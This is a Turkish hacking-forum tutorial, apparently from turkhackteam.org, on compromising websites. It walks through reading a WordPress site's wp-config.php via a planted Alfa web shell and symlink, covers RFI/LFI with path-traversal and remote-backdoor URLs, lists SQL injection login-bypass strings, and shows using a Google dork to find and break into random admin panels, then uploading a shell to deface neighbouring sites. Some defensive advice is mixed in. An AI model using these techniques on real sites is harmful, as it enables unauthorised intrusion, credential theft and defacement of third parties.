Bir siteye shell yükledikten sonra config okumak için ne kadar yöntem varsa eğer denerseniz illa ki bir şekilde okunur. Bizlerde size bunu göstermek istiyoruz. Çünkü bir siteye girip index atmak kolay ama önemli olan devamını getirmektir. Daha fazla uzatmadan neler yapabileceğinizi gösterelim.

k9rcsrj.jpg


Hedef sitemiz bu.



hn0q7vt.jpg



Symlink’e Basıyoruz. Bastıktan sonra sitenin wordpress olduğunu görüyoruz. O yüzden config dosyası olan wp-config.php’ye tıklıyoruz.


7pjevgv.jpg



Tıkladığımız da böyle bir hata alıyoruz.


cnvfwic.jpg



Daha sonra alfa shell üzerinden cgi shelle geliyoruz. Buradan perl veya pythondan birini seçiyoruz. Ben perl’i seçtim.


d28001w.jpg



Birini seçtikten sonra karşımıza bu ekran gelecek


1bxhay3.jpg



config okumak için:

ln -s /home/xxxx/public_html/wp-config.php config1.txt şeklinde komut veriyoruz.

Komutumuzu verdikten sonra site adresinden:

/ALFA_DATA/cgialfa kısmına geliyoruz. Shelli nereye yüklediyseniz oradan yapıştırıp geçebilirsiniz. Mesela örnek dizin yerimiz:

wp-content/plugins/wordpress/includes/ALFA_DATA/cgialfa

bu şekilde. Wordpress sitelere plugin ile shell yükleyebilirsiniz.


b0dlcmt.jpg



dizine de geçtikten sonra karşımıza config çekmesini istediğimiz dosyayı göreceğiz. Ben 1.txt diye komut verdim. Eğer txt dosyasına tıklarsanız config bilgilerini görmüş olursunuz.


hus5ue2.jpg



Bu işlemde bu kadar basit. Sizler de bu şekilde bypass yöntemleri deneyerek config okuyabilir ve birden fazla site hackleyebilirsiniz.


h7fao2l.png



nouyzxe.jpg


4.3 Web Site Saldırılarına Karşı Önlemler

Saldırganlar, web sitesi güvenlik açıklarından yararlanmak için çeşitli yöntemlerden yararlanır. Sonuç olarak, siteler arası komut dosyası çalıştırma saldırısı riskini azaltmak için tek bir strateji yoktur.

Siteler arası komut dosyası oluşturma kavramı, güvenli olmayan kullanıcı girişinin doğrudan bir web sayfasına işlenmesine dayanır. Kullanıcı girdileri uygun şekilde sterilize edilirse, siteler arası komut dosyası çalıştırma saldırıları imkansız olacaktır.

Web sitelerinde kullanıcılara ait girdilerin zarar görmemesi için farklı çözümler sunulabilir. Web sitenizi korumak için, web uygulamalarınızı aşağıdaki koruyucu önlemlerle güçlendirmenizi öneririz.

  • Güvenlik Açığı Kodu Bulun: Siteler arası komut dosyası çalıştırmadan kurtarmanın ilk adımı, güvenlik açığının nerede olduğunu belirlemektir.​
  • Kötü Amaçlı İçeriği ve Arka Kapıları Kaldırın: Kötü amaçlı yazılımın konumu hakkında bilgi edindikten sonra, kötü amaçlı içeriği veya kötü verileri veritabanınızdan kaldırın ve temiz bir duruma geri yükleyin. Ayrıca arka kapılar için web sitenizin geri kalanını ve dosya sistemlerini kontrol etmek isteyeceksiniz.​
  • Güvenlik Açığını Düzeltin: Veritabanlarındaki, uygulamalardaki ve üçüncü taraf bileşenlerdeki güvenlik açıklarından sıklıkla bilgisayar korsanları yararlanır. Güvenlik açığı bulunan yazılımı belirledikten sonra, diğer güncel olmayan bileşenlerle birlikte güvenlik açığı bulunan koda yamalar ve güncellemeler uygulayın.​
  • Kimlik Bilgilerinizi Güncelleyin: Bir güvenlik açığı oluştuğunda, güvenlik açığı yamalanır yüklenmez tüm parolalarınızı ve uygulama sırlarınızı değiştirmeniz önemlidir. Veritabanında hileli yönetici kullanıcı veya arka kapı bulunmadığından emin olmak için verilerinizi temizleyerek yeniden bulaşmayı önleyin.​
  • Bir WAF Ayarlayın: Web sitenize gelen kötü niyetli istekleri filtrelemek için bir web uygulaması güvenlik duvarı kurmayı düşünün. Bunlar, yamalar kullanıma sunulmadan önce yeni güvenlik açıklarına karşı koruma sağlamak için özellikle yararlı olabilir.​


h7fao2l.png



hw0feiv.jpg


5. Brute Force Nedir?

Brute Force hackerların deneme-yanılma yoluyla şifreleri çözebilmek için kullandığı bir dijital ve kriptografik saldırı tekniğidir. Brute Force saldırısında, hackerlar saldıracak hedefte bir bilgi bulamamasına karşılık tahmin ve internet ortamında bulunan basit şifre türlerini listeler, daha sonra hedefe yönelik listelenen şifrelerin denenmesi için yardımcı bir yazılım oluşturulur yahut şifreler tek tek denenir ve kırılmaya çalışılır.

Çoğu Brute Force saldırısı otomatiktir bu yüzden her şirket bu tarz bir saldırıda hedef olabilir.




c8ujdt4.jpg


5.1 Kaba Kuvvet Saldırıları

Brute force kaba kuvvet saldırılarının pek çok türleri mevcuttur. Her bir kaba kuvvet saldırısı, hassas verileri ortaya çıkarmak için farklı yöntemler kullanmaktadır.

Kaba kuvvet (brute force) saldırılarının türleri:

  • Basit kaba kuvvet saldırıları: Bir siber saldırgan yazılım araçları ya da sözlük benzeri diğer araçlardan yardım almaksızın kişisel bilgilerinizi tahmin etmeye çalışabilir. Söz konusu yöntem sadece basit düzeydeki şifreleri ortaya çıkarmaya yarar.​
  • Sözlük saldırıları: Kaba kuvvet saldırılarındaki temel araç konumundaki sözlükler, şifre kırma işlemlerindeki en işlevsel bileşenlerden biri. Standart ya da özel sözlükler kullanılarak yapılan saldırılarda bilgisayar korsanı, seçtiği hedefin kullanıcı adına ilişkin olası şifreleri çalıştırmayı deniyor. Sıralı saldırı türü olarak da bilinen sözlük saldırılarının biraz zahmetli olduğunu belirtmek gerek.​
  • Hibrit kaba kuvvet saldırıları: Basit kaba kuvvet ve sözlük saldırılarının birleşimi şeklinde düşünebileceğiniz hibrit saldırılarda mantıksal tahminler ve dış araçlar kullanılıyor. İlgili yöntem yaygın sözcüklerin rastgele karakterlerle karıştırıldığı birleşik parolaları bulmak için tercih ediliyor.​
  • Ters kaba kuvvet saldırıları: Yakın zamandaki veri ihlallerinden sızdırılan şifrelerin kullanıldığı yöntemde eşleşme bulunana kadar milyonlarca kullanıcı adı aranıyor. Ters saldırıda yaygın yaklaşımın aksine bilinen bir paroladan denemeye başlanıp ters strateji uygulanıyor.​
  • Tekrar eden kimlik bilgisi saldırıları: Kimlik bilgisi doldurma olarak da ifade edilen saldırı birçok web sitesinde aynı oturum açma bilgilerini kullananları hedef alıyor. Bilgisayar korsanı verilerini daha önce ele geçirdiği şirket ya da kamu kurumu çalışanı üzerinden saldırıyı planlıyor.​


Brute Force İle Site Hacklemek İçin TIKLAYINIZ (1)

Brute Force İle Site Hacklemek İçin TIKLAYINIZ (2)


h7fao2l.png



a9cjmsd.jpg


6. RFI ve LFI

Uzaktan Dosya Ekleme (RFI), en sık PHP çalıştıran web sitelerinde bulunan bir güvenlik açığı türüdür. Saldırganın, genellikle web sunucusundaki bir komut dosyası aracılığıyla uzaktan barındırılan bir dosya eklemesine olanak tanır. Güvenlik açığı, kullanıcı tarafından sağlanan girişin doğru doğrulama olmadan kullanılması nedeniyle oluşur. Bu, dosyanın içeriğinin çıktısını almak kadar az bir şeye yol açabilir, ancak önem derecesine bağlı olarak rasgele kod yürütülmesine neden olabilir.

Yerel Dosya İçerme (LFI) RFI'ye çok benziyor; tek fark, LFI'de saldırganın kötü amaçlı komut dosyasını yerel olarak yürütülmek üzere hedef sunucuya yüklemesi gerektiğidir.

Diğer bir tabirle;

File Inclusion : Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel (local) ve uzaktan (remote) kod çalıştırmasına olanak sağlar.

LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.

RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.


f3vge6m.jpg


6.1 RFI Nedir?

RFI (Remote File Inclusion) Örneği

index2.php dosyası:

CSS:
include(“$duyurular/guncel/duyuru.php”);

Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.

Yukarıdaki şekilde, adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır.


Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemler yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.


s38w8j7.jpg


6.2 LFI Nedir?


LFI (Local File Inclusion) Örneği

CSS:
index.php dosyası:
<?php
include($_GET['sayfa'])
?>

Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:

index.php?sayfa=haberler.php

index.php?sayfa=iletisim.php

En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:

* index.php?sayfa=../../../../../../../../../etc/passwd

Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:


CSS:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..


oyn77jm.jpg


6.3 RFI ve LFI Aralarındaki Farklar Nelerdir?


Uzaktan dosya ekleme (RFI), harici komut dosyalarına dinamik olarak başvuran web uygulamalarındaki güvenlik açıklarını hedefleyen bir saldırıdır.

Failin amacı, farklı bir etki alanında bulunan uzak bir URL’den kötü amaçlı yazılım (ör. arka kapı kabukları) yüklemek için bir uygulamadaki referans işlevinden yararlanmaktır.

Başarılı bir RFI saldırısının sonuçları arasında bilgi hırsızlığı, güvenliği ihlal edilmiş sunucular ve içerik değişikliğine izin veren bir site ele geçirme yer alır.

RFI’ye benzer şekilde, yerel dosya ekleme (LFI), kötü amaçlı dosyaların web tarayıcıları aracılığıyla sunuculara yüklenmesini içeren bir vektördür. Dosya dahil etme saldırıları bağlamında genellikle iki vektöre birlikte başvurulur.

Her iki durumda da başarılı bir saldırı, kötü amaçlı yazılımın hedeflenen sunucuya yüklenmesiyle sonuçlanır. Ancak, RFI’den farklı olarak, LFI saldırıları, kullanıcı tarafından sağlanan/kontrol edilen girdiyi doğrulamakta başarısız olan güvenli olmayan yerel dosya yükleme işlevlerinden yararlanmayı amaçlar.

Sonuç olarak, kötü niyetli karakter yüklemelerine ve dizin/yol geçiş saldırılarına izin verilir. Failler daha sonra kötü amaçlı yazılımı uzak bir konumdan sertleştirilmiş bir harici referans işlevi kullanarak almak yerine, güvenliği ihlal edilmiş bir sisteme doğrudan yükleyebilir.


6izl4qj.jpg


6.4 Saldırıdan Korunma Yöntemleri


Yöntem 1

Yazılan kodların RFI açıklarına karşı kontrol edilmesi.



Zayıf Kod:

PHP:
<?php

include ($ornek. ‘../index.php’);

?>

Güvenli Kod:


PHP:
<?php

$ornek= ‘veri’;

include ($ornek. ‘../index.php’);

?>

örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamızı sağlayacaktır.


Yöntem 2

php.ini

/etc/php.ini
dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice


9p2fpmq.jpg

6.5 Uzaktan Dosya Ekleme Örnekleri

RFI penetrasyonlarının nasıl çalıştığını göstermek için şu örnekleri göz önünde bulunduralım:

  1. Bir JSP sayfası şu kod satırını içerir: <jsp:include page=”<%=(String)request.getParmeter(“ParamName”)%>”> aşağıdaki istekle değiştirilebilir: Page1.jsp?ParamName= /WEB-INF/DB/parola.​

Talebin işlenmesi, şifre dosyasının içeriğini faile ifşa eder.

  • Bir web uygulamasının, burada gösterildiği gibi bir URL adresinden içerik talep eden bir içe aktarma ifadesi vardır: <c:import url=”<=request.getParameter(“conf”)%>”>.​
Temizlenmemişse, aynı ifade kötü amaçlı yazılım enjeksiyonu için kullanılabilir.


Örneğin: Page2.jsp?conf=https://evilsite.com/attack.js.


  • RFI saldırıları, genellikle, uzak bir kötü amaçlı dosyaya başvurmak için istek parametrelerinin değiştirilmesiyle başlatılır.​

Örneğin, aşağıdaki kodu göz önünde bulunduralım:

$incfile = $_REQUEST[“file”]; include($incfile.”.php”);

Burada, ilk satır HTTP isteğinden dosya parametre değerini çıkarırken, ikinci satır dosya adını dinamik olarak ayarlamak için bu değeri kullanır. Dosya parametre değerinin uygun şekilde dezenfekte edilmediği durumlarda, bu kod yetkisiz dosya yüklemeleri için kullanılabilir.



qa7o0p6.jpg


Örneğin, bu URL dizesi;

http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor uzak bir konumda depolanan bir arka kapı dosyasına harici bir referans içerir.

(http://www.hacker.com/backdoor_shell.php.)

Uygulamaya yüklendikten sonra, bu arka kapı daha sonra temel sunucuyu ele geçirmek veya uygulama veritabanına erişim sağlamak için kullanılabilir.

R57 arka kapı kabuğu, RFI bölümleri için popüler bir seçimdir.



61anknu.jpg

6.6 DIY RFI Önleme ve Azaltma

Bir dereceye kadar, uygun giriş doğrulama ve temizleme yoluyla RFI saldırıları riskini en aza indirebilirsiniz. Ancak, bunu yaptığınızda, tüm kullanıcı girdilerinin tamamen sterilize edilebileceği yanılgısından kaçınmak önemlidir. Sonuç olarak, sterilizasyon yalnızca özel bir güvenlik çözümünün tamamlayıcısı olarak düşünülmelidir.

Bunu söyledikten sonra, kullanıcı tarafından sağlanan/kontrol edilen girdileri elinizden gelen en iyi şekilde sterilize etmek her zaman tercih edilir.

Bu girdiler şunları içerir:

GET/POST parametreleri
URL parametreleri
Çerez değerleri
HTTP başlık değerleri

Temizleme sürecinde, giriş alanları bir kara liste (izin verilmeyen kötü niyetli karakterler) yerine bir beyaz listeye (izin verilen karakter kümesi) göre kontrol edilmelidir. Saldırganlar, kodlanmış veya onaltılık biçimler gibi farklı bir biçimde girdi sağlamayı seçebildiğinden, genel olarak kara liste doğrulaması zayıf bir çözüm olarak kabul edilir.

Ayrıca, sunucu tarafında uygulanacak çıktı doğrulama mekanizmaları için en iyi uygulamadır. İşlem yükünü azaltma avantajına sahip olan istemci tarafı doğrulama işlevleri, proxy araçları tarafından yapılan saldırılara karşı da savunmasızdır.

Son olarak, yükleme dizinleri için yürütme iznini kısıtlamayı ve izin verilen dosya türlerinin (örneğin PDF, DOC, JPG, vb.) beyaz listesini tutmayı ve aynı zamanda yüklenen dosya boyutlarını kısıtlamayı düşünmelisiniz.

Son olarak yararlı bulduğum konulardan biri olan LFİ & RFİ Ofansif ve Defansif Anlatım konusu okumak için TIKLAYINIZ.



h7fao2l.png




ec58a76.jpg


7. CSRF Nedir?

CSRF yani siteler arası istek sahtekarlığı, herhangi bir web uygulamasında oturum açmış bir kullanıcının oturumunu o web sitesinin açığından faydalanarak kullanıcının isteği dışında , saldırganın sanki o kullanıcıymış gibi erişim sağlayıp işlemler yapmasıdır. Web sitelerindeki bu açıklar, çoğunlukla GET requestleri ve SESSION işlemlerinin doğru kontrol edilememesi gibi durumlarda ortaya çıkan açıklardır. Uygulamaya giden isteklerin hangi kaynaktan ve nasıl gönderildiği kontrol edilmeyen sistemlerde ortaya çıkan bu zafiyet, “Session Riding” olarak da bilinir.


Saldırganların kullanıcının oturumuna erişebilmeleri için sadece zararlı bağlantıya tıklaması yeterlidir. Örneğin bu saldırılar, hesaplardaki e-posta adresini değiştirmek, şifreleri değiştirmek veya para transferi yapmak olabilir. Güvenliği ihlal edilmiş kullanıcının ekstra yetkinlikleri varsa saldırgan, uygulamanın tüm verilerinin ve işlevlerinin tam denetimini ele geçirebilir.


h81uweh.jpg


7.1 CSRF Saldırısı Nasıl Oluşturulur?


CSRF saldırısı oturum açmış bir kullanıcının saldırganın kontrol ettiği web sitesine erişmesi sağlanır ve sonra JavaScript kodu çalıştırılarak veya formlar göndererek süreci ilerletir. Bir CSRF zafiyeti için gereken HTML'yi manuel bir şekilde yazmak özellikle request çok fazla parametre içeriyorsa zor olur. Bir CSRF istismarı oluşturmak için en kolay yöntem Burp Suite programında bulunan CSRF PoC oluşturucuyu kullanmaktır.



ar94py8.jpg


7.2 Saldırı Yapmak İçin Gerekenler

Bir CSRF güvenlik açığını kötüye kullanabilmek için ilk yapacağınız şey kötüye kullanabileceğiniz bir davranış bulun örneğin; şifreyi veya e-postayı değiştirin, mağdurun sizi bir sosyal ağda takip etmesini sağlayın. Oturum yalnızca tanımlama bilgilerine veya HTTP Temel Kimlik Doğrulama başlığına dayanmalıdır, oturuma erişim için başka bir başlık kullanılamaz. Son olarak, istekte beklenmedik parametreler olmamalıdır.

Bu güvenlik açığına yakalanmamak için yapabileceğiniz birkaç yöntem bulunmaktadır. Bunlar;


  • Oturum çerezi SameSite çerezleri kullanıyorsa, çerezi rastgele web sitelerinden gönderemeyebilirsiniz.​
  • Kaynaklar arası kaynak paylaşımı: ne tür bir HTTP isteği gerçekleştirmeniz gerektiğine bağlı olarak, mağdur sitenin CORS policysini es geçmeyin.​
  • Parola kullanıcısından eyleme yetkilendirme vermesini isteyin .​
  • Bir captcha'yı çözün.​
  • Referrer veya Origin başlıklarını okuyun.​
  • Post veya Get isteklerinin parametrelerinin adını değiştirin​
  • Her oturumda bir CSRF token kullanın. Token, eylemi onaylamak için isteğin içinde gönderilmelidir ve CORS ile korunabilir.​
Not: Saldırı yaparken kötüye kullanmak istediğiniz form CSRF token ile bir POST isteği göndermek için hazırlanmış olabilir. Bunun bir GET'in de geçerli olup olmadığını ve bir GET isteği gönderdiğinizde CSRF tokenın onaylanıp onaylanmadığını kontrol etmelisiniz .

Not: Bazı uygulamalar token olduğunda başarılı bir doğrulama yapar ama token atlanırsa doğrulama işlemi de atlanmış olur. Böyle bir durumda saldırgan , doğrulamayı atlayarak CSRF saldırısı gerçekleştirmek için sadece değerini değil token içeren tüm parametreyi kaldırabilir.

h20mm2l.jpg


7.3 CSRF Nasıl Tespit Edilir?

Kullanıcı tarafından gönderilen bir HTTP isteğinin gerçek kullanıcı mı yoksa bir saldırgan tarafından mı gönderildiğini tespit etmek kolay değildir. Sistemde Token yöntemi kullanılması, kimliğin arka planda otomatik olarak doğrulanmasını sağlar bu sayede kullanıcı sürekli kimlik doğrulama istekleriyle uğraşmaz. Genelde CSRF açığını engellemek için sisteme giriş yapan kullanıcıya, her işlemde farklı ve tahmin edilmesi güç token bilgisi verilir. Verilen bu token bilgisi oturum boyunca aynı kalmaz ve kullanıcı oturumu kapatınca geçersiz hale getirilmelidir. Eğer token veya benzeri bir anahtar kontrolü yapılmazsa, arka planda gönderilen sahte bir istek ile gerçek kullanıcının gönderdiği istek ayırt edilemez ve güvenlik zafiyeti ortaya çıkar.

Not: CSRF token oturum tanımlama bilgisi ile ilgiliyse, hedefi oturuma ayarlamanız gerekeceği için saldırı çalışmaz ve kendinize saldırmış olursunuz.


6rkilxm.jpg


7.4 CSRF Zafiyetine Karşı Alınabilecek Önlemler

CSRF zafiyetine karşı hem sistem tarafından hem de kullanıcı tarafından alınabilecek birkaç önlem bulunur. Bu önlemler sistem ve kullanıcı tarafında olmak üzere ikiye ayrılır.

Sistem tarafında alınması gereken önlemler:

Token kullanın: En popüler olan bu yöntem kullanıcıya her oturum için random ve benzersiz “token” bilgisi verilir. Bu yöntem CSRF Token veya Synchronizer Token olarak adlandırılır. Web uygulaması, sistem tarafından oluşturulmuş tokeni, istek token ile karşılaştırır. Eğer token verileri eşleşirse, isteğin gerçek kullanıcı tarafından gönderildiği anlaşılır ve istek onaylanır. Veriler eşleşmezse istek reddedilir ve böylece kötü niyetli istekler engellenmiş olur.

Get metodu yerine Post metodu kullanın: Kullanıcının sisteme gönderdiği önemli veriler POST metodu ile alınmalıdır.

CAPTCHA kullanın: Bir web formunda captcha doğru olmadığı için işlem gerçekleşmeyeceği için “CSRF” saldırısına karşı bir önlemdir.

Kesin çözüm değildir ancak kullanıcılardan gönderilen isteklerin `HTTP Referer` başlıklarını kontrol edin.


Double Submit Cookie Pattern Yöntemi kullanın: Çerez ve istek parametresinde rastgele bir değer göndermedir. Kullanıcıların oturum açma talebi sistemde doğrulandığında sistem istemci tarafında oturum ID si oluşturur ve çerezlere kaydeder. Bunun yanında token oluşturur ve kullanıcının makinesinde ayrı bir çerez olarak saklar. Server, form parametresi olarak gönderilen tokeni, çerez değerine bakarak doğrular ve tamamlanacak işlemi yetkilendirir. Çapraz kökenli bir saldırgan, aynı kökenden gelen ilkeye göre sunucudan gönderilen verileri okuyamaz veya çerez değerlerini değiştiremez.

Kullanıcı tarafında alınması gereken önlemler:

Çerezleri ve web site verilerini düzenli periyotlarla temizleyin.

Bilmediğiniz kaynaklardan gelen bağlantılara tıklamayın ya da kimden geldiğini anlamadığınız mailleri kontrol etmeden açmayın.

Kişisel bilgilerin bulunduğu web uygulamalarının oturum bilgilerini bilgisayarda kayıtlı tutmayın.



qqtycmj.jpg


8. Login Bypass Nedir?

Yazılımcıların bazen unuttuğu, bazense çok önemsemediği güvenlik açıkları, saldırganların web sitelerinde çeşitli kötü amaçlı işlemler gerçekleştirmesine izin verebilir.

Bunlardan bir tanesi Login Bypass açığıdır. Bu güvenlik açığı, SQL Injection yöntemiyle veritabanını kontrol eden kullanıcı adı ve şifreyi kırarak gerçekleştirilir. Windows sunucularında Linux’a nazaran daha sık karşılaşılır. Özellikle ASP.NET ve ASP web uygulamalarında ve MsSQL ile Microsoft Access veritabanını kullanan sistemlerde önceden bir tedbir alınmadıysa bu güvenlik açığıyla karşılaşılabilir.

Web sitelerini özel PHP scriptlerle oluşturan firmalar aynı zamanda birçok SQL denetimini uygulamak zorundadır. Bir saldırgan Login Bypass, Authentication Bypass, No Redirect Login Bypass gibi yöntemlerle veritabanı yönetimine erişebilir ve kullanıcıların geçerli oturum kimliklerini veya tanımlama bilgilerini çalabilir.

Login mekanizmasını bypass ederek içeri sızma, temel olarak zayıf bir denetimden kaynaklıdır. Saldırganlar içeri sızdığında korumasız dosyaları ararlar. Bu güvenli olmayan dosyalara erişim sağlayarak bilgi toplar ve korumalı uygulamalara saldırmaya çalışırlar.



bfxjuld.jpg


8.1 Admin Panel Bulma

SQL açığı tespit ettiğiniz ve istismar ederken şifresini bulduğunuz sitenin eğer ki login panelini (giriş panelini) admin panelini bulamıyorsanız bazı araçlar sayesinde bulabilirsiniz. Gizlenmiş admin panel dizinleri mevcut peki onları bulabilir miyiz? Kısmen evet çünkü bazı gizlenen paneller isimleri değiştirilebiliyor. Örneğin L0giN.php, GiRiS.html vb.. ama eğer stabil ise login.php, login.html gibi o zaman yüksek ihtimal bulabilirsiniz.


Admin Panel Bulucu Program İçin TIKLAYINIZ (1)

Admin Panel Bulucu Program İçin TIKLAYINIZ (2)

Bu iki araçta çalışmakta ve halen günümüzde hedef sitelerin admin panellerini bulabilmektedir.




mdyy1ts.jpg


8.2 Admin Panel Bypass Etme

Girilen Zararlı Karakterlerin Filtrelenmemesinden Dolayı Kaynaklanan Açıktır. Aynı Sql Injectiondaki Gibi Veri Tabanından Bilgi Çekmek İçin Kullanılan Komutlar İle Siteye Giriş Yapılır. Buradaki Amaç Komutları Username ve Password Kısmına Yazarak Siteye Giriş Yapmaktır.

İlk olarak tarayıcımızı açarak Google'a gidelim ve ardından şu dorkumuzu yazalım;

" inurl:admin/login.php "

yazdıktan sonra aratalım. Karşımıza bir sürü site çıkacaktır. Sitelerden herhangi birisine tıklayalım.



hs1m6kf.jpg




Siteye tıklar tıklamaz karşımıza login sayfası çıkacaktır. Çünkü dorkumuzu bu şekilde filtreleyerek şekillendirdik. Sitelerin login panelleri karşımıza çıkacaktır.



ft46wn2.jpg


Login sayfasına bypass kodlarımızı yazalım. Örnek olarak yazdığım kod;

''Or'='Or''

parola kısmına da aynısını yazarak login diyorum.



6ayrbhp.jpg


Ve görüldüğü üzere admin olarak panele giriş yaptım. Artık istediğimi yapabilirim. Bazı siteler upload (dosya yükleme) kısmı olmuyor ancak bunda var. Buradan shell sokarak sunucudaki diğer sitelere index atabiliriz.

Ancak bu şekilde giriş yaptığım gibi her siteye giriş olmaz. Eski bir açık olduğundan çoğu site korumasını alarak açıklarını kapatmıştır.

nhhm08v.jpg




8.3 Örnek Bypass Kodları


Örnek bypass kodlarımız;

''Or'='Or''

anything' OR 'x'='x

1'or'1'='1

' or 1=1 or ''='

" or 1=1 or ""="

' OR ''='

'' OR ''=''

'OR''='

hey' or 1=1–

''Or 1 = 1'

' or 1=1--

or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

hi") or ("a"="a

'hi' or 'x'='x';

x' or 1=1 or 'x'='y

\x27\x4F\x52 SELECT *

\x27\x6F\x72 SELECT *

'or select *

admin'--

")) or (("x"))=(("x

" or ""+"

admin"or 1=1 or ""="

admin") or ("1"="1"--




Bu kodlar ile giriş yapamadığınız sitelere giriş yapabilme ihtimalinizi arttırabilirsiniz.


h7fao2l.png




py6cwky.jpg


9. Hedef Web Site Hakkında Bilgi Toplama


Hedef web sitesi hakkında bilgi toplamak için site report netcraft sitesini kullanabiliriz. Örneğin turhackteam.org adresine bakalım.




adresine gidelim.

İşte karşımıza çıkan sonuçlar;



57uokq7.jpg


ayyc7y8.jpg



Sitemizin bağlı olduğu hostingler, ip adresleri, dns ve domain hakkında bi takım bilgiler çıkıyor. Analizde ise sitenin sağlıklı olduğunu ve bir sorunun olmadığını ilk görseldeki sağ üstteki 0/10 yazan yerden ve yeşil renkten anlayabiliriz.


jv44tfd.jpg


khptgnp.jpg


9.1 Sunucu İçerisini Görüntüleme


Herhangi bir web sitenin sunucu içerisini görüntüleyebiliriz. Bu sunucu içerisinde bambaşka siteler mevcut. Aratılan sitenin sunucu içerisinde bu siteler yer alır. Örnek olarak turkhackteam.org adresine bakalım.



adresine gidelim.


8tqwgzo.jpg



Görüldüğü üzere turkhackteam.org'un da yer aldığı pek çok siteli bir sunucu mevcut olduğunu gördük.


6lb67ii.jpg


9.2 İP Adresi Geçmişi Görme

Şimdi ise IP History'e bakalım.


adresine gidelim.


jahp5z2.jpg



karşımıza çıkan sonuçlar ve ip adresleri bu şekilde.


h7fao2l.png
eline saglik
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.